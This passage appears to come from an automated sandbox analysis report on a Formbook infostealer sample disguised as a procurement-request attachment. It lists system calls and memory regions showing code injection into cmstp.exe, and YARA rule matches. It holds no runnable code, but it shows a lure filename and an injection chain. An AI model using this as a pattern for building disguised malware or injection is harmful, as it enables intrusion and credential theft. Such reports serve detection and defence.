Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19780 NtMapViewOfSection,LdrInitializeThunk,	1_2_00A19780
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19FE0 NtCreateMutant,LdrInitializeThunk,	1_2_00A19FE0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19710 NtQueryInformationToken,LdrInitializeThunk,	1_2_00A19710
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A198A0 NtWriteVirtualMemory,	1_2_00A198A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19820 NtEnumerateKey,	1_2_00A19820
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1B040 NtSuspendThread,	1_2_00A1B040
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A199D0 NtCreateProcessEx,	1_2_00A199D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19950 NtQueueApcThread,	1_2_00A19950
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19A80 NtOpenDirectoryObject,	1_2_00A19A80
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19A10 NtQuerySection,	1_2_00A19A10
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1A3B0 NtGetContextThread,	1_2_00A1A3B0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19B00 NtSetValueKey,	1_2_00A19B00
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A195F0 NtQueryInformationFile,	1_2_00A195F0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19520 NtWaitForSingleObject,	1_2_00A19520
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1AD30 NtSetContextThread,	1_2_00A1AD30
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19560 NtWriteFile,	1_2_00A19560
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A196D0 NtCreateKey,	1_2_00A196D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19610 NtEnumerateValueKey,	1_2_00A19610
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19670 NtQueryInformationProcess,	1_2_00A19670
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19650 NtQueryValueKey,	1_2_00A19650
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19730 NtQueryVirtualMemory,	1_2_00A19730
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1A710 NtOpenProcessToken,	1_2_00A1A710
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19760 NtOpenProcess,	1_2_00A19760
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19770 NtSetInformationFile,	1_2_00A19770
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A1A770 NtOpenThread,	1_2_00A1A770
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_004181C0 NtCreateFile,	1_1_004181C0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00418270 NtReadFile,	1_1_00418270
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_004182F0 NtClose,	1_1_004182F0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_004183A0 NtAllocateVirtualMemory,	1_1_004183A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041826A NtReadFile,	1_1_0041826A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_004182EB NtClose,	1_1_004182EB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041839D NtAllocateVirtualMemory,	1_1_0041839D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9540 NtReadFile,LdrInitializeThunk,	8_2_050C9540
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C95D0 NtClose,LdrInitializeThunk,	8_2_050C95D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9710 NtQueryInformationToken,LdrInitializeThunk,	8_2_050C9710
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9780 NtMapViewOfSection,LdrInitializeThunk,	8_2_050C9780
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9FE0 NtCreateMutant,LdrInitializeThunk,	8_2_050C9FE0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9650 NtQueryValueKey,LdrInitializeThunk,	8_2_050C9650
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9660 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_050C9660
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C96D0 NtCreateKey,LdrInitializeThunk,	8_2_050C96D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C96E0 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_050C96E0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	8_2_050C9910
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C99A0 NtCreateSection,LdrInitializeThunk,	8_2_050C99A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9840 NtDelayExecution,LdrInitializeThunk,	8_2_050C9840
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9860 NtQuerySystemInformation,LdrInitializeThunk,	8_2_050C9860
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9A50 NtCreateFile,LdrInitializeThunk,	8_2_050C9A50
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9520 NtWaitForSingleObject,	8_2_050C9520
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050CAD30 NtSetContextThread,	8_2_050CAD30
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9560 NtWriteFile,	8_2_050C9560
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C95F0 NtQueryInformationFile,	8_2_050C95F0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050CA710 NtOpenProcessToken,	8_2_050CA710
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9730 NtQueryVirtualMemory,	8_2_050C9730
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9760 NtOpenProcess,	8_2_050C9760
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050CA770 NtOpenThread,	8_2_050CA770
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9770 NtSetInformationFile,	8_2_050C9770
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C97A0 NtUnmapViewOfSection,	8_2_050C97A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9610 NtEnumerateValueKey,	8_2_050C9610
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9670 NtQueryInformationProcess,	8_2_050C9670
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9950 NtQueueApcThread,	8_2_050C9950
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C99D0 NtCreateProcessEx,	8_2_050C99D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9820 NtEnumerateKey,	8_2_050C9820
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050CB040 NtSuspendThread,	8_2_050CB040
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C98A0 NtWriteVirtualMemory,	8_2_050C98A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C98F0 NtReadVirtualMemory,	8_2_050C98F0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9B00 NtSetValueKey,	8_2_050C9B00
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050CA3B0 NtGetContextThread,	8_2_050CA3B0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9A00 NtProtectVirtualMemory,	8_2_050C9A00
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9A10 NtQuerySection,	8_2_050C9A10
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9A20 NtResumeThread,	8_2_050C9A20
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C9A80 NtOpenDirectoryObject,	8_2_050C9A80
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E881C0 NtCreateFile,	8_2_00E881C0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E882F0 NtClose,	8_2_00E882F0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E88270 NtReadFile,	8_2_00E88270
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E883A0 NtAllocateVirtualMemory,	8_2_00E883A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E882EB NtClose,	8_2_00E882EB
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8826A NtReadFile,	8_2_00E8826A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8839D NtAllocateVirtualMemory,	8_2_00E8839D

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_004030CB EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030CB

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_004046CA	0_2_004046CA
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_00405FA8	0_2_00405FA8
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00401030	1_2_00401030
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B8AF	1_2_0041B8AF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041C334	1_2_0041C334
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041C3EB	1_2_0041C3EB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00408C60	1_2_00408C60
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041B4A6	1_2_0041B4A6
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041C556	1_2_0041C556
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00402D8D	1_2_00402D8D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00402D90	1_2_00402D90
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041C7C2	1_2_0041C7C2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041BFD3	1_2_0041BFD3
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00402FB0	1_2_00402FB0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A020A0	1_2_00A020A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA20A8	1_2_00AA20A8
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009EB090	1_2_009EB090
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA28EC	1_2_00AA28EC
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AAE824	1_2_00AAE824
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A91002	1_2_00A91002
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009DF900	1_2_009DF900
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F4120	1_2_009F4120
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA22AE	1_2_00AA22AE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A0EBB0	1_2_00A0EBB0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A903DA	1_2_00A903DA
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9DBD2	1_2_00A9DBD2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA2B28	1_2_00AA2B28
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009E841F	1_2_009E841F
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9D466	1_2_00A9D466
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A02581	1_2_00A02581
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA25DD	1_2_00AA25DD
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009ED5E0	1_2_009ED5E0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA2D07	1_2_00AA2D07
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009D0D20	1_2_009D0D20
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA1D55	1_2_00AA1D55
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA2EF7	1_2_00AA2EF7
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_009F6E30	1_2_009F6E30
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A9D616	1_2_00A9D616
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AA1FF1	1_2_00AA1FF1
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00AADFCE	1_2_00AADFCE
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00401030	1_1_00401030
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B8AF	1_1_0041B8AF
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041C334	1_1_0041C334
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041C3EB	1_1_0041C3EB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00408C60	1_1_00408C60
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041B4A6	1_1_0041B4A6
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041C556	1_1_0041C556
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00402D8D	1_1_00402D8D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00402D90	1_1_00402D90
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041C7C2	1_1_0041C7C2
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_0041BFD3	1_1_0041BFD3
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_1_00402FB0	1_1_00402FB0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05152D07	8_2_05152D07
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05080D20	8_2_05080D20
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05151D55	8_2_05151D55
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051525DD	8_2_051525DD
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509D5E0	8_2_0509D5E0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509841F	8_2_0509841F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514D466	8_2_0514D466
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515DFCE	8_2_0515DFCE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05151FF1	8_2_05151FF1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514D616	8_2_0514D616
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A6E30	8_2_050A6E30
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05152EF7	8_2_05152EF7
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508F900	8_2_0508F900
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A4120	8_2_050A4120
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05141002	8_2_05141002
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0515E824	8_2_0515E824
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509B090	8_2_0509B090
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051520A8	8_2_051520A8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051528EC	8_2_051528EC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05152B28	8_2_05152B28
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BEBB0	8_2_050BEBB0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514DBD2	8_2_0514DBD2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051522AE	8_2_051522AE
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B8AF	8_2_00E8B8AF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8B4A6	8_2_00E8B4A6
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E78C60	8_2_00E78C60
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E72D8D	8_2_00E72D8D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E72D90	8_2_00E72D90
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8C556	8_2_00E8C556
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E8C7C2	8_2_00E8C7C2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_00E72FB0	8_2_00E72FB0

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: String function: 00419F70 appears 40 times
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: String function: 009DB150 appears 45 times
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: String function: 0041A0A0 appears 38 times
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: String function: 0508B150 appears 35 times

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000000.00000003.659286637.0000000003156000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs RE; KOC RFQ for Flangers - RFQ 22965431.exe
Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717171007.0000000000950000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameCMSTP.EXE` vs RE; KOC RFQ for Flangers - RFQ 22965431.exe
Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717323957.0000000000ACF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs RE; KOC RFQ for Flangers - RFQ 22965431.exe

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe

Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
